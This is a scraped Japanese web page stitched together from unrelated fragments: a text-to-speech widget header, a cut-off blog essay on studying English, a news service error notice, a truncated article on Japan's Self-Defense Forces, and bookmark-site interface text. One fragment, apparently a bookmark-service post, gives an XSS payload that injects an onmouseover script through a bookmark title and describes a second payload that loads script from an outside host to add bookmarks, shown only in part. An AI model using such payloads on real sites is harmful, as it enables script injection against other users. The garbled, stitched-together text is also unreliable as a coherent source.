TEXT to WaveFile Only Japanese is input. (MAX 500 characters) Options 女声 Female voice 男声 Men's voice
ブログとかに向いたくだらないテーマに「英語を学ぶ前にしっかりとした日本語を学べ」とかいうのがある。あまりのくだらなさに即終了でもいいように思うのだが、当方もくだらないブログなんでそんな雑談を。 英語はできたら勉強したほうがいいと思う。語学というのは向いている人間とそうでない人間があるので、私みたいに向いてないのはいくら勉強してもダメ。それでも語学というか他国語というのはそれに触れてないとますますダメになるというか、システムの保守みたいなのが必要になる。イーデス・ハンソンだったか米国に行くとしばらく言葉が出ないと言っていた。ネイティブでも使ってないとうまくいかない。ある種のバイリンガルというかバイリンガル的な他国語修得者は脳のスイッチみたいなをカチっとやる必要があるように思う云々。 ほいで日本語とやらの重要性。これが皆目わからん、とまでは言わないが、人は置かれた環境のなかで十分に言語活動をす
タイトルを↓みたいに編集すれば、ユーザーが自由にScriptつかえちゃうんだね! ぼく、ゆめがひろがりんぐです! "width=100 height=100 onmouseover=alert(String.fromCharCode(88,83,83)) ※最初にダブルクォート、最後に空白をひとついれる。 あ、人気エントリーのタイトルとか書き換えたらダメだよ…! えらいことになっちゃうかも? (追記) http://test/ ってurlのブックマークにテスト用のコードを置いてみたよ! タイトルが以下になってて hamachiya.com/h のscriptを呼び出す感じ。 (消しゴムに触れると呼び出されて、hamachiya.comをブックマークに追加してしまうという内容) "width=100 height=100 onmouseover=d=document;t=String; s=
중앙일보 일본어판 サービスをご利用中のお客様にご迷惑をおかけして申し訳ございません ホームに戻る Copyright by Joongang ilbo Co.,Ltd. All Rights Reserved.
◆◆ 「文章は経国の大業、不朽の盛時」という事を肝に銘じ、 「凛とした魂の声」と「日本男児の肝っ玉」をお目にかける。◆◆自衛隊は来年三月、転換期を迎える。陸海空三自衛隊の指揮・命令を一元化する「統合運用」への移行だ。効率的な統合運用なくして、防衛庁の省昇格や国際活動の本来任務化もおぼつかない。ところが、三自衛隊では「言語」や「文化」をとっても違いが際立つ。「完全な統合には十年かかる」(防衛庁幹部)とされ、拙速な融合は避けての「そろり始動」となりそうだ。(大塚智彦、半沢尚久) ≪大津波の教訓≫ 「陸自では国旗降下は午後五時だ」 「いや、海自では日没に降ろすことになっている」 昨年末のインド洋大津波を受け、インドネシアなどへ派遣され、国際緊急援助では初めてそろい踏みした三自衛隊。統合運用の試金石と位置づけられ、海自の輸送艦に陸自隊員が寝泊まりしたのだが、お互いの習慣の違いから、冒頭のよ
중앙일보 일본어판 サービスをご利用中のお客様にご迷惑をおかけして申し訳ございません ホームに戻る Copyright by Joongang ilbo Co.,Ltd. All Rights Reserved.
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
処理を実行中です
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く